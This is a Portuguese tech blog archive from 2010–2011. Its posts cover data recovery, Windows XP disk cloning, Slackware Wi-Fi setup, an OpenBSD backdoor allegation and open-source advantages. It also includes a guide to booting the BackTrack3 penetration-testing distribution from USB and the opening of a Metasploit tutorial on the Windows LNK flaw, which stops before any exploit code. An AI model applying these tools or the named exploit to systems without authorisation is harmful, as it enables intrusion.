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sábado, 5 de março de 2011

Recuperando Dados Apagados

Quando apagamos um arquivo do disco, o sistema operacional não apaga fisicamente o arquivo do disco. Isto é, o sistema não "zera" os setores do disco que o arquivo ocupava. Em nome da velocidade, quando você apaga um arquivo, o sistema operacional simplesmente troca a primeira letra do nome do arquivo pelo símbolo de sublinhado. Quando visualizamos um diretório, o sistema ignora qualquer nome de arquivo que comece com sublinhado, não mostrando, portanto, os arquivos que foram "apagados". Além disso, o sistema marca os setores que o arquivo ocupava como livre na FAT, que é a tabela onde está listada a área que cada arquivo ocupa no disco. Assim, desde que nenhum outro arquivo tenha sido gravado na mesma área em que o arquivo apagado ocupava (o que faz com que os dados antigos sejam automaticamente apagados para que os novos dados sejam gravados), é possível recuperá-lo, simplesmente trocando o primeiro caractere do nome do arquivo de sublinhado para o seu caractere original, bem como re-marcar na FAT a área que o arquivo ocupa.

Há no mercado vários utilitários para a recuperação de arquivos apagados, sendo o mais famoso o Norton UnErase, parte integrante do Norton Utilities e do Norton System Works (www.symantec.com.br).

Da mesma forma que ocorre com arquivos, durante a formatação do disco rígido os setores do disco não são "zerados". Mesmo comandos como o Format c:/u somente verificam se não há erros na superfície do disco, "zerando" somente a FAT. Isto é, para ganhar tempo, todos os comandos de formatação de disco do sistema operacional em vez de preencherem com zeros todos os setores do disco rígido durante a formatação simplesmente apagam a tabela que informa o espaço ocupado pelos arquivos. Com isso, você pode recuperar todos os arquivos do disco rígido, mesmo tendo formatado o disco ou apagado a sua tabela de partição através do comando Fdisk. Desde que, é claro, a área ocupada pelo arquivo (ou arquivos) que você deseja recuperar já não tenham sido sobrepostas por novos arquivos.

Para esse tipo de recuperação de dados você precisará de programas mais avançados, sendo os dois mais conhecidos o Lost & Found da PowerQuest (www.powerquest.com.br) e o Easy Recovery, da OnTrack (www.ontrack.com). Para rodar esse tipo de programa você deverá instalar um outro disco rígido em sua máquina, que é onde os arquivos recuperados serão gravados. Por isso, esse disco rígido terá de ter um espaço disponível pouco maior do que o espaço ocupado pelos arquivos que você deseja recuperar (por exemplo, se há 500 MB de arquivos a serem recuperados, você deverá ter um pouco mais do que isso disponível no disco rígido extra que será usado na recuperação).

sexta-feira, 25 de fevereiro de 2011

BackTrack [Usb]

vou mostrar como colocar o BackTrack3 para rodar a partir de um Pendrive.
É bem simples de fazer, vamos lá:

Vamos precisa de um Pendrive de no mínimo 1gb. Pode ser também um Ipod, MP3 e etc.

Vamos ter que baixar a versão USB do BackTrack3. Aqui em baixo eu coloquei o link direto para facilitar:

Agora vamos formatar o nosso pendrive. Clique como direito nele e escolha "formatar".



Em "sistemas de arquivo" escolha FAT32.




O pendrive já está pronto. Vamos ao arquivo que nós baixamos.

Note que essa versão USB que nós baixamos vem em formato ISO. O WinRar abre arquivos ISO, se vc tiver o WinRAR no seu PC, simples clique com o botão direito sobre o arquivo ISO e escolha "extrair aqui"




Após extrair veja que apareceram duas pastas: "boot" e "BT3". Estas pastas vc deve copiar para dentro do Pendrive.



Abra a pasta "boot" e execute lá dentro o arquivo "bootinst.bat". Este arquivo vai fazer com que se Pendrive seja bootável e possa iniciar o BackTrack3.



Pronto !!!!
Agora é só reiniciar o computador e dar Boot pelo USB.
Alguns computadores tem um menu de Boot, que é onde vc escolhe o que vai ser iniciado (CD, HD, Floopy e USB). Normalmente pode ser acessado pressionando algumas vezes F5, F8 ou F11. Mas isso varia de acordo com o computador.
Se o seu PC não tiver esse menu de boot. Vc terá que entrar na bios e mudar a ordem de boot, e colocar a entrada USB como "First Boot", que seria primeiro boot. Aí ele vai iniciar pelo pendrive e executar o BackTrack.
Aqui não posso explicar mais precisamente como fazer isso porque existem diversasa BIOS diferentes. Se o seu PC não tiver menu de boot, pesquise como alterar a ordem de boot na sua BIOS, mas tome muito cuidado ao mecher lá.


Esse tutorial eu fiz pra quem quer usar o BackTrack3 mas não tem um computador bom para rodar uma máquina virtual.
Espero que seja útil.

sábado, 5 de fevereiro de 2011

Mudando de hardware com Windows XP

Quem já tentou clonar o HD com uma instalação do Windows XP de uma máquina para a outra já se reparou com uma BSOD (tela azul) ou com resets automáticos, isso ocorre pois a Microsoft não oferece suporte para clonagem de instalações para configurações que tenham HAL (Hardware Abstraction Layer) diferentes, nem mesmo utilizando o Sysprep, que somente serve para fazer cópias de instalações para máquinas iguais. Nessea dica irei ensinar uma forma de completar essa operação do sucesso, permitindo inclusive ter em um case externo a imagem de uma instalação completa, com Windows atualizado, Office, programas, Anti-vírus

Primeiramente é necessário para o download do seguinte arquivo: Arquivos para clonagem. Além desses arquivos, sugiro a instalação do software 7-zip (freeware).

Após fazer o download dos arquivos necessários, use o 7-zip para descompactá-los no C: da instalação que deseja clonar ou simplesmente transferir para outra máquina com configuração diferente, muito comum em caso de upgrade. Agora navegue até a pasta C:WindowsDriver CacheI386, utilize novamente o 7-zip para extrair os seguintes arquivos de driver.cab:

Atapi.sys
Intelide.sys
Pciide.sys
Pciidex.sys

Copie esses mesmos arquivos (extraídos de driver.cab) para o caminho: C:WindowsSystem32Drivers.

No C: da instalação, encontre o arquivo Mergeide.reg, extraído anteriormente. Clique com o botão direito e selecione a opção "mesclar", respondendo "sim" a pergunta que vem em seguida.

Para quem vai apenas fazer um upgrade, colocando o HD em uma nova configuração, está pronto, basta colocar o HD na nova configuração e instalar os novos drivers, usufruindo das configurações aplicadas e programas instalados anteriormente.

Para quem deseja criar uma imagem pronta no seu case externo para instalar em outros micros, caso comum para profissionais de informática, ainda será necessário clonar a partição usando seu software de preferência, eu particularmente utilizo o Norton Ghost, porém existem opções gratuitas, como o Partition Image.

Se por acaso o sistema não iniciar após a clonagem, pedindo para inserir disco de boot, será necessário ativar a partição novamente, para isso a melhor opção é usar o Partition Magic, porém é um software pago, como opção gratuita sugiro o GParted, que vem no Live-CD do Kurumin, que preferir pode baixar Live-CD exclusivo do GParted no site do desenvolvedor (gparted.sourceforge.net), bastando marca nos atributos da partição como ativa/inicialização.

Não tive a opção de testar essa dica em uma situação onde seria necessário instalar o driver Sata para o HD ser reconhecido normalmente, nos meus testes clonei um HD Sata da Seagate da seguinte configuração:

Notebook HP/Compaq V6210BR Sempron 3500+ | 1 GB DDR2 | Geforce 6150 Go 128 MB | Seagate Sata 60 GB.

Screenshot da instalação no Notebook:

m1eefdc8d

E restaurei a imagem em um HD Pata da Samsung da seguinte configuração:

Asus K8V-VM Ultra | Sempron 2600+ | 256 MB DDR400 | Via Chrome 9 | Samsung Pata 80 GB.

Screenshot da mesma instalação, já no PC.

m4febb2d5

Já restaurei essa imagem em alguns HDs de clientes meus, sendo necessário apenas instalar os drivers da nova configuração para que o PC funcione perfeitamente bem.

CRÉDITOS EXCLUSIVOS AO SITE GUIADOHARDWARE!

Segundo alpha do Ubuntu 11.04

Foi publicado o segundo alpha do Ubuntu 11.04, codename Natty Narwhal. Nessa compilação é possível ver vários aprimoramentos com relação ao primeiro.

Destaques: Firefox 4 beta como navegador padrão, Banshee, LibreOffice 3.3, X.Org 1.10 e kernel 2.6.38-rc2 - com a inclusão oficial do patch milagroso de 200 linhas.

Há ainda algumas novidades: modo avião, que desativa a emissão de sinais de conexões sem fio (Wi-Fi e Bluetooth). No menu de som agora é suportada a lista de reprodução do player. O compiz vem instalado por padrão e o Ubuntu One recebe uma nova interface.

Detalhes dos problemas podem ser vistos aqui - afinal é uma versão alpha, em desenvolvimento. No começo de março deve chegar o alpha 3, e no final, o beta. Em 21 de abril espera-se o RC e finalmente a versão estável deve sair em 28 de abril.

Download:

http://cdimage.ubuntu.com/cdimage/releases/natty/alpha-2/

Configurando a rede wireless no Slackware

Assim como praticamente todas as distribuições atuais, o Slackware inclui o udev, que se encarrega de detectar e ativar a placa wireless quando os drivers necessários estão disponíveis. Ele também inclui a maior parte dos drivers disponíveis, incluindo os firmwares. Entretanto, ele não inclui o networkmanager, nem nenhuma outra ferramenta de configuração amigável, o que torna necessário configurar a rede wireless usando diretamente o iwconfig e o wpa_supplicant, as ferramentas de configuração manual. Vamos então a um resumo sobre a configuração da rede no Slackware.

Você pode verificar se sua placa wireless foi detectada pelo sistema usando o comando "cat /proc/net/wireless", como em:

# cat /proc/net/wireless

Inter-| sta-| Quality | Discarded packets | Missed | WE
face | tus | link level noise | nwid crypt frag retry misc | beacon | 22
wlan0: 0000 0 0 0 0 0 0 0 0 0

Veja que no exemplo minha placa wireless foi detectada e é vista pelo sistema como "wlan0", uma informação que vamos precisar ao ativar a conexão. Se, por outro lado, o comando não retornar nada, significa que sua placa ainda não foi detectada, nesse caso, veja as dicas seguintes.

Se você utiliza uma rede com encriptação WPA ou WPA2, a conexão é feita usando o wpa_supplicant, que nas versões recentes do Slackware está disponível dentro da categoria "N". Ele é instalado por default, de forma que se você não o desmarcou durante a instalação, ele já estará disponível.

Para usá-lo, o primeiro passo é criar o arquivo de configuração do wpa_supplicant, contendo o SSID e a passphrase da sua rede. Para isso, rode o comando "wpa_passphrase" seguido do SSID da rede e a passphrase (a senha), como em:

$ wpa_passphrase minharede minhapassphrase

Ele retorna a configuração que deve ser incluída no arquivo, como em:

network={
ssid="minharede"
#psk="minhapassphrase"
psk=24b0d83ee1506019e87fcf1705525ca60abbd9b24ac5bedf183620d0a22ab924
}

Note que ele inclui duas linhas "psk", onde vai a passphrase. A linha que está comentada contém sua passphrase real, enquanto a segunda contém um "hash" (verificador), que funciona da mesma forma, mas evita que você precise deixá-la disponível dentro do arquivo para qualquer um ver. Apague a linha comentada, deixando apenas a segunda linha, com o hash.

Agora edite (ou crie) o arquivo "/etc/wpa_supplicant.conf", de forma que ele contenha apenas as linhas retornadas pelo comando. Se preferir, você pode usar também o comando abaixo (como root), que já modifica automaticamente o arquivo:

# wpa_passphrase minharede minhapassphrase > /etc/wpa_supplicant.conf

Agora vem o comando que ativa o wpa_supplicant, especificando a placa de rede que será usada, o arquivo de configuração que acabamos de criar e o driver que será usado:

# wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -d -D wext

O "wlan0" no comando indica a interface de rede, e naturalmente deve ser alterado conforme necessário. O "wext" é o driver (interno do wpa_supplicant) que será usado.

Atualmente, o driver wext é usado em quase todos os casos, inclusive no caso de placas configuradas através do ndiswrapper (usando o driver do Windows) e no caso das placas com chipset Intel. A única exceção fica por conta das placas com chipset Atheros, onde você deve substituir o "wext" por "madwifi".

Por causa da opção "-d" que incluímos no comando anterior, o wpa_supplicant é executado em modo verbose, onde são mostrados detalhes sobre a conexão com o ponto de acesso. Este modo é interessante para descobrir problemas. Se a conexão for bem-sucedida, você terá (depois de uma rápida sucessão de mensagens), algo como:

State: GROUP_HANDSHAKE -> COMPLETED
CTRL-EVENT-CONNECTED -- Connection to 00:50:50:81:81:01 completed (auth)
EAPOL: External notification -- portValid=1
EAPOL: External notification -- EAP success=1
EAPOL: SUPP_PAE entering state AUTHENTICATING
EAPOL: SUPP_BE entering state SUCCESS
EAP: EAP entering state DISABLED
EAPOL: SUPP_PAE entering state AUTHENTICATED
EAPOL: SUPP_BE entering state IDLE
EAPOL: startWhen --> 0

Estas mensagens indicam que ele se conectou ao ponto de acesso com o endereço MAC "00:50:50:81:81:01" e que a conexão está disponível para transmitir dados.

Para confirmar, rode o comando "iwconfig", que mostrará algo como:

# iwconfig

lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"casa"

Mode:Managed Frequency:2.447 GHz Access Point: 00:50:50:81:81:01
Bit Rate=54 Mb/s Tx-Power:32 dBm
RTS thr=2347 B Fragment thr=2346 B
Encryption key:
Security mode:restricted
Power Management:off
Link Quality:65/100 Signal level:-54 dBm Noise level:-96 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Isso significa que ele se conectou com sucesso ao ponto de acesso. A partir daí, você precisa apenas configurar os parâmetros da rede (IP, máscara, gateway e DNS) usando a ferramenta apropriada para que a conexão fique disponível.

Se, por outro lado, você receber mensagens como:

Scan results: 0
Selecting BSS from priority group 0
No suitable AP found.
Setting scan request: 5 sec 0 usec
Starting AP scan (broadcast SSID)
Wireless event: cmd=0×8b1a len=8

… significa que a conexão não foi estabelecida. Pode ser que o seu notebook está muito longe do ponto de acesso, fora da área de alcance ou mesmo que o transmissor da placa wireless do notebook está desativado.

Caso o ponto de acesso tenha sido configurado para não divulgar o SSID, experimente encerrar o wpa_supplicant, definir o SSID da rede manualmente usando o iwconfig e em seguida iniciá-lo novamente, como em:

# killall wpa_supplicant
# iwconfig wlan0 essid casa
# wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -d -D wext

Depois de testar e ver que a conexão está funcionando corretamente, você pode passar a usar o comando abaixo, trocando o "-d" por "-B". Isso faz com que o wpa_supplicant rode em modo daemon, sem bloquear o terminal nem mostrar mensagens na tela:

# wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -B -D wext

Depois de conectar na rede, falta apenas fazer a configuração dos endereços, da mesma forma que faria ao configurar uma placa de rede cabeada. Para configurar a rede via DHCP, usamos o comando "dhclient", seguido pela interface de rede, como em:

# dhclient wlan0

Para configurar a rede manualmente, usamos o comando "ifconfig" (que permite definir o endereço IP e a máscara) e o "route" (que define o gateway), como em:

# ifconfig wlan0 192.168.1.2 netmask 255.255.255.0 up
# route add default gw 192.168.1.1 dev wlan0

Veja que ao usar o route é necessário especificar a interface no final do comando. Finalmente, é necessário editar o arquivo "/etc/resolv.conf", especificando o endereço do(s) servidor(es) DNS. Uma forma rápida de fazer isso é usar o echo para escrever diretamente no arquivo:

# echo "nameserver 208.67.222.222" > /etc/resolv.conf

Para não precisar ficar digitando o comando novamente a cada boot, você pode criar um script, contendo os comandos de configuração e passar a executá-lo quando quiser se conectar à rede. Basta criar um arquivo de texto contendo os comandos para conectar ao ponto de acesso e configurar os endereços da rede, como em:

# Conecta ao ponto de acesso usando o wpa_supplicant
wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -B -D wext

# Configura a rede via DHCP
dhclient wlan0

ou:

# Concta ao ponto de acesso usando o wpa_supplicant
wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -B -D wext

# Configura a rede manualmente
ifconfig wlan0 192.168.1.65 netmask 255.255.255.0 up
route del default
route add default gw 192.168.1.1 dev wlan0
echo "nameserver 208.67.222.222" > /etc/resolv.conf

Depois de salvar o arquivo, ative a permissão de execução, usando o comando "chmod +x scrip", como em:

# chmod +x /usr/local/bin/conectar-wireless

A pasta "/usr/local/bin" é um bom lugar para salvar seus scripts, pois ela faz parte do path (o que faz com que os scripts passem a ser vistos como comandos de sistema) e ela vem vazia por padrão na maioria das distribuições. Você pode também salvar os scripts dentro do home ou em outra pasta qualquer, mas nesse caso você vai precisar especificar o caminho completo ao executar o script.

Você pode também adicionar os comandos ao final do arquivo "/etc/rc.d/rc.local", o que faz com que eles passem a ser executados automaticamente a cada boot.

Uma observação importante é que ao ser executado usando o parâmetro "-B", como fizemos dentro do script, o wpa_supplicant fica ativo continuamente, tentando se conectar ao ponto de acesso até conseguir. Se você precisar alterar a configuração da rede, precisa primeiro finalizá-lo antes de poder executar o script novamente, usando a nova configuração. Para isso, finalize o processo usando o comando "killall", como em:

# killall wpa_supplicant

Se, você precisar se conectar a redes sem encriptação, ou a redes com encriptação WEP, a conexão é mais simples, feita usando o comando "iwconfig".

Para se conectar ao ponto de acesso, o primeiro passo é definir o SSID da rede, como em:

# iwconfig wlan0 essid casa

Para as redes sem encriptação, este único comando é suficiente para se associar à rede. Para as redes com ecnriptação via WEP, o próximo passo é especificar a chave usando o parâmetro "key". Ao usar caracteres hexadecimais, a chave terá 10 dígitos (123456789A no exemplo) e o comando será:

# iwconfig wlan0 key restricted 123456789A

Se a chave for em ASCII, onde cada caracter equivale a 8 bits, a chave terá apenas 5 dígitos (qwert no exemplo) e o comando será:

# iwconfig wlan0 key restricted s:qwert

Veja que ao usar uma chave em ASCII você precisa adicionar o "s:" antes da chave. Ao configurar o ponto de acesso para usar uma chave de 128 bits, a chave terá 26 dígitos em hexa ou 13 em ACSII. Depois de terminar a configuração inicial, você pode ativar a interface com o comando:

# ifconfig wlan0 up

Para as placas que não são suportadas pelo sistema (e não aparecem ao rodar o "cat /proc/net/wireless"), a opção mais simples é usar os drivers do Windows através do Ndiswrapper. Ele não está disponível nos repositórios do Slackware, mas você pode instalá-lo através do SlackBuild disponível no http://www.slackbuilds.org/.

Para usar o Ndiswrapper, você precisa ter em mãos o driver da placa para Windows XP, que pode ser encontrado no CD de instalação ou no site do fabricante. Comece descompactando o arquivo do driver em uma pasta qualquer do sistema, de forma que os arquivos ".inf" que fazem parte do driver fiquem visíveis. No caso dos arquivos disponibilizados no formato .exe, você pode descompactar usando o comando cabextract, como em "cabextract sp36684.exe".

Para carregar o driver, acesse a pasta contendo os arquivos e carregue o arquivo .inf usando o comando "ndiswrapper -i", como em:

# ndiswrapper -i net5211.inf

Rode agora o comando "ndiswrapper -l" para verificar se o driver foi mesmo ativado. Você verá uma lista como:

Installed ndis drivers:
gplus driver present, hardware present

Com o driver carregado, ative o módulo com o comando:

# modprobe ndiswrapper

Se tudo estiver ok, o led da placa acenderá, indicando que ela está ativa. As placas ativadas através do Ndiswrapper são sempre detectadas como "wlan0", independentemente do driver usado. Com a placa ativa, falta apenas configurar a rede, usando o wpa_supplicant ou o iwconfig, usando os mesmos passos que vimos anteriormente.

Se a placa não for ativada, você ainda pode tentar uma versão diferente do driver. Neste você precisa primeiro descarregar o primeiro driver. Rode o ndiswrapper -l para ver o nome do driver e em seguida descarregue-o com o comando "ndiswrapper -e".

Se o driver se chama "gplus", por exemplo, o comando seria:

# ndiswrapper -e gplus

Você pode então testar um driver diferente, carregando-o com o comando "ndiswrapper -i". Em alguns casos o próprio driver para Windows XP que acompanha a placa funcionará. Em outros é preciso usar alguma versão específica do driver. Você pode encontrar várias dicas sobre placas testadas por outros usuários do Ndiswrapper no http://ndiswrapper.sourceforge.net/, na seção "Documents/Wiki > List of cards know to work".

Para que a configuração seja salva e o Ndiswrapper seja carregado durante o boot, você deve rodar o comando:

# ndiswrapper -m

Em seguida, adicione a linha "ndiswrapper" no final do arquivo "/etc/modules", para que o módulo seja carregado durante o boot.

Entendendo o instalador do Slackware

O processo de instalação do Slackware, assim como o de qualquer outra distribuição, segue um processo relativamente simples, que consiste em coletar informações sobre as partições que serão utilizadas, as configurações desejadas e os pacotes que serão instalados, copiar os arquivos do sistema para a partição de instalação, instalar o gerenciador de boot e gerar os arquivos de configuração necessários, de foma que o sistema possa funcionar sozinho depois de concluída a instalação.

Imagine que você queria construir uma casa usando materiais pré-fabricados por exemplo. A empresa contratada começaria coletando informações sobre que tipo de casa você quer, o terreno que será utilizado e assim por diante e criaria um projeto para a obra, com base nos componentes disponíveis. Os materiais seriam então transportados até o local e a casa montada. Depois de feito o acabamento e os últimos ajustes, o projeto é finalizado e você pode fazer a mudança.

No caso de uma distribuição Linux, o sistema é originalmente distribuído na forma de um conjunto de pacotes, cada um contendo um determinado aplicativo, biblioteca ou outro componente do sistema, como se fossem lajes e paredes pré-fabricadas. O instalador faz então o trabalho do empreiteiro, coletando informações, elaborando um projeto e combinando os pacotes disponíveis para obter o resultado desejado.

Por estranho que possa parecer, o instalador do Slackware é na verdade um shell-script bastante simples (no Slackware 12.1 ele tem apenas 384 linhas), que coleta algumas informações, monta as partições onde o sistema será instalado, faz a cópia dos arquivos e executa alguns passos adicionais para que ele seja capaz de dar boot sozinho.

Ao dar boot através do CD ou DVD de boot, é carregada uma versão minimalista do sistema, sobre a qual roda o instalador. Os instaladores de outras distribuições seguem esta mesma idéia, carregando primeiro uma versão simplificada do sistema, usada para rodar o instalador. Ou seja, usamos o próprio Linux para instalar o Linux.

Se você acessar os arquivos dentro do DVD ou do primeiro CD de instalação, vai encontrar, dentro da pasta "isolinux/", o arquivo "initrd.img", que contém justamente a imagem binária dessa distribuição minimalista.

Caso esteja curioso, é possível ver o conteúdo desse arquivo e fuçar no código do instalador, desde que você tenha acesso a alguma outra distribuição já instalada (um live-CD também serve). Copie o arquivo initrd.img para uma pasta qualquer do sistema, e (dentro dela) use os comandos abaixo para descompactá-lo e poder ver seu conteúdo:

$ mkdir slackboot
$ cd slackboot
$ gzip -dc ../initrd.img | cpio -i -d -H newc --no-absolute-filenames

Isso faz com que o arquivo seja descompactado e o conteúdo fique disponível dentro da pasta "slackboot" que foi criada:

Esta é justamente uma mini-distribuição, contendo um conjunto de executáveis, módulos e scripts que ao usados para criar o ambiente inicial, onde você loga e roda o cfdisk. O script do instalador vai dentro da "usr/lib/setup/". Basta acessá-la e abrir o arquivo "setup" usando o editor de textos. Este é o tão famoso instalador do Slackware, que continua sendo usado desde 1993, com poucas alterações:

quinta-feira, 16 de dezembro de 2010

Segurança do S.O.

Quando você é um usuário de computador, a segurança é um grande problema. Os desenvolvedores de sistemas operacionais sabem que a segurança do sistema também é importante. É por isso que todos os sistemas operacionais possuem recursos internos de segurança que o tornam seguros para ambas navegar na Internet, bem como manter os usuários não autorizados longe de utilizar o computador.

A segurança do sistema operacional é baseada em dois princípios:

* O sistema operacional permite o acesso a uma série de recursos, direta ou indiretamente, tais como arquivos em um disco local, chamadas de sistema privilegiado, informações pessoais sobre usuários, e os serviços oferecidos pelos programas em execução no sistema.
* O sistema operacional é capaz de distinguir entre alguns solicitantes desses recursos que estão autorizados – ou permitidos – para acessar o recurso, e outros que não sejam autorizados – ou proibidos. Enquanto alguns sistemas podem simplesmente distinguir entre privilegiados e não privilegiados, os sistemas têm geralmente uma forma de identidade solicitante como um nome de usuário.

Além de permitir / negar em seu modelo de segurança, um sistema operacional com um nível elevado de segurança também oferece opções de auditoria. Estas medidas permitirão rastreamento de pedidos de acesso a recursos como “quem tem de ler este arquivo?”

segurança do sistema operacional pode ser dividida em duas sub-seções com relação a solicitantes:

* Segurança Interna – um programa já em execução. Em alguns sistemas, um programa uma vez que está funcionando, não há limitações. No entanto, mais comumente, o programa tem uma identidade que se mantém e é utilizado para verificar todos os seus pedidos de recursos.
* Segurança Externa – um novo pedido de fora do computador, como um log-in em um console conectado ou algum tipo de conexão de rede. Para estabelecer a identidade, pode haver um processo de autenticação.

Muitas vezes um nome de usuário deve ser citado e cada usuário pode ter uma senha. Outros métodos de autenticação, como cartões magnéticos ou de dados biométricos poderão ser utilizados. Em alguns casos, especialmente com as conexões de uma rede, os recursos podem ser acessados sem autenticação.

segurança do sistema operacional tem sido uma preocupação por causa de dados altamente confidenciais, realizada em computadores de natureza pessoal, comerciais e até militares. É por isso que os programadores de sistema operacional dão atenção especial à segurança dos sistemas operacionais que estão desenvolvendo. Eles querem garantir que todos os dados contidos em um sistema dedicado são mantidos privados e só é permitidem serem vistos por aqueles que estão autorizados a fazê-lo.

Sistema operacional teria 'brecha' pedida pelo FBI, diz programador

Foco do OpenBSD é a segurança do sistema.

O sistema operacional OpenBSD, desenvolvido com foco em sua segurança, teria seu código de segurança IPsec “contaminado” por uma “porta dos fundos” que permitiria ao FBI grampear as conexões. A acusação está em um e-mail escrito pelo ex-desenvolvedor do sistema Gregory Perry e enviado ao líder e fundador do projeto OpenBSD, Theo de Raadt. Perry era colaborador do projeto OpenBSD em 2000 e não tinha mais contato com Raadt desde então.

O IPsec é um protocolo que define uma maneira de adicionar segurança ao protocolo de internet (IP). É usado para a criação de redes virtuais privadas (VPN), que permitem a um usuário se conecte à rede da empresa remotamente, por exemplo. A VPN precisa de um canal seguro para sua comunicação. Com a presença de uma “porta dos fundos”, o FBI conseguiria decodificar a conexão e grampeá-la. Normalmente, mesmo com ordem judicial, esse grampo não seria possível.

Raadt disse que não quer “ser parte dessa conspiração” e resolveu publicar o e-mail original de Perry, na íntegra. A mensagem acusa Jason Wright, uma das figuras mais importantes do OpenBSD, de ter colaborado com o esquema. Perry era diretor de tecnologia da empresa Netsec e, segundo ele, qualquer código que originou da empresa deve ser auditado. “Quem usa o código deve verificá-lo”, disse Raadt.

Não se sabe se o código ainda torna as conexões IPsec do OpenBSD inseguras. Nesses dez anos, muitas mudanças foram realizadas e o código foi atualizado diversas vezes. Não é possível saber se ainda resta algum código do FBI ou mesmo se ele é funcional. Também não é possível confirmar se o código de fato existe.

Objetivo e perda de financimento
A “porta dos fundos” teria como objetivo permitir ao FBI monitorar as conexões internas do Escritório Executivo de Procuradores dos Estados Unidos (EOUSA), que ajuda a coordenar operações do Departamento de Justiça, do qual o FBI faz parte. Perry disse só estar divulgando esses detalhes agora porque seu acordo de sigilo (NDA, na sigla em inglês) com o FBI “expirou recentemente”.

Perry também especula que o OpenBSD perdeu seu auxílio financeiro da Agência de Pesquisas em Projetos Avançados de Defesa (Darpa, na sigla em inglês) porque a agência teria tomado conhecimento das inseguranças no código. A presença da vulnerabilidade intencional também teria motivado alguns especialistas ligados ao FBI a recomendar o OpenBSD como solução de VPN e firewall.

Ernest Hilbert, ex-agente do FBI, afirmou pelo Twitter que o experimente realmente ocorreu, mas que não teria tido sucesso. O OpenBSD é desenvolvido com um foco agressivo na segurança e divulga com orgulho que só teve “duas brechas remotas” na instalação padrão.

Outros sistemas e produtos
A licença do BSD é bem permissiva a respeito de qual código pode ser copiado. Muitos softwares e produtos podem ter copiado o código “contaminado”.

Entre os produtos potencialmente vulneráveis pode estar o Microsoft Services for Unix, que promove a integração do Windows com ambientes baseados em Unix, como é o caso do OpenBSD.

No entanto, o NetBSD e o FreeBSD usam um código diferente para sua implementação de IPsec e não estão vulneráveis. O MacOS X, da Apple, que usa código desses sistemas, também não teria consigo o código vulnerável. O Linux também usa outra implementação do IPsec e não contém o código inseguro.

10 razões pelas quais o código livre é bom para os Negócios

Com tantas empresas e órgãos governamentais aumentando o uso de softwares open source, como o Linux, fica cada vez mais claro que o preço não é a única vantagem. Se fosse, as empresas que adotaram ferramentas abertas durante o pior da recessão já teriam retornado para soluções proprietárias agora que a economia está melhor. E esse não é o caso.

Os negócios que se viram empurrados para ferramentas de código livre após sofrerem com restrições de orçamento logo identificaram outras vantagens, observadas na lista a seguir.

1 – Segurança
É difícil pensar em um argumento melhor do que a superioridade das ferramentas de código aberto em termos de segurança. Recentemente, descobriu-se uma brecha no kernel do Android que poderia trazer riscos. Mas a única razão pela qual a falha foi descoberta é porque o código é aberto ao público.

Essa, aliás, é a filosofia de Linus Torvalds, criador do Linux: quanto mais olhos, mais as chances dos bugs serem identificados antes de causar incômodo. E é um argumento bem oposto à segurança pela obscuridade, usado por algum dos fabricantes de softwares proprietários caros como argumento para a estrutura fechada. Mas a falta de notificações de falhas de segurança no sistema do iPhone e do iPad ou no Windows significam que esses sistemas são mais seguros? A história prova que não.

2 – Qualidade
O que é melhor? Um software empacotado por um grupo pequeno de profissionais ou um software em criação constante por milhares de desenvolvedores? Assim como há milhares zelando pela segurança do código aberto, muitos outros estão pensando o tempo todo em inovar e melhorar os recursos.

O que isso significa? O código aberto também é feito por usuários, o que o torna mais próximo do que os usuários querem. E isso já foi provadio em estudos recentes, que demonstraram que a suposta superioridade é a razão principal pela qual empresas escolhem o código aberto.

3 – Personalização
Ter um software que pode ser alterado e customizado de acordo com o gosto da empresa, sem precisar esperar avanços por parte do fabricante, é também uma das maiores vantagens. Um desenvolvedor competente adiciona funcionalidades como quem altera palavras em um texto do Word.

4 – Liberdade
Quando os negócios se voltam ao código aberto, as empresas ficam livres da ameaça de ser aprisionada dentro de pacotes proprietários engessados. Clientes de fornecedores como esses ficam a mercê da visão, requisitos, preços, prioridades e limites impostos pelo fornecedor. E tudo isso com uma conta no final do mês ou do ano.

5 – Flexibilidade
Quando a empresa usa softwares como Windows ou Office, entra em um ciclo no qual precisa atualizar software e hardware infinitamente. O código livre, por outro lado, usa muito menos recursos da máquina e pode ser rodado até mesmo em hardwares mais lentos. A empresa decide a hora de atualizar, não o fornecedor.

6 – Interoperabilidade
Software livre é muito melhor na aderência a padrões abertos e até mesmo a ferramentas proprietárias. Se a interoperabilidade for necessária com outras empresas, computadores e usuários, a vida fica muito mais fácil com o código aberto.

7 – Auditoria
Com o sistema fechado, você só tem a palavra do vendedor para provar que o software é de fato seguro e aderente a padrões. O código aberto oferece visibilidade para o cliente, que pode ter mais certeza sobre o que está rodando em casa.

8 – Opções de suporte
Software de código aberto possui comunidades com extensas documentações, fóruns de discussões, listas, wikis, grupos de notícias e, dependendo de quem fornece a distribuição, até mesmo suporte ao vivo via chat gratuito.
Para os negócios que querem melhoria, há muitas opções pagas de suporte com preços bem menores do que os fornecedores proprietários cobram. Os fornecedores de suporte para ferramentas abertas costumam dar respostas melhores e mais rápidas, pois têm sua receita focada nesse serviço.

9 – Custo
O custo de comprar uma solução proprietária é muito difícil de ser medido, pois tem a proteção por vírus obrigatória, taxas de suporte, despesas de atualização e ainda o preço a ser pago por ser aprisionado em alguma solução. No final, o custo é muito maior do que a companhia imaginava inicialmente.

10 – É possível experimentar antes de usar
Se você está considerando usar o software de código aberto, não custará nada realizar testes de qualidade antes de usá-lo. Em parte porque é gratuito mesmo. E em parte porque o código aberto oferece muito mais opções para quem quiser testar, como a possibilidade de criar Live CDs para Linux, por exemplo.

Conclusão
Mesmo com todos esses argumentos, só a própria empresa será capaz de realizar uma análise profunda para verificar se o software livre é uma boa opção. Além disso, pode ser que o código aberto não seja a solução para todas as necessidades da empresa. Mas, diante de todos os benefícios, é necessário ao menos considerá-lo entre as opções.

sábado, 4 de dezembro de 2010

Metasploit – Explorando vulnerabilidade “LNK” em Windows

Metasploit Framework é uma ferramenta fantástica, usada para fazer auditoria e testes de penetração etc, onde possue um grande framework de exploits para várias aplicações de diversos tipos!

Nesse tutorial, mostrei uma falha que afeta todas as versões do windows que se diz respeito a manipulação de arquivos “.LNK“, esta falha, como o exploit, tornaram público em Julho de 2010.

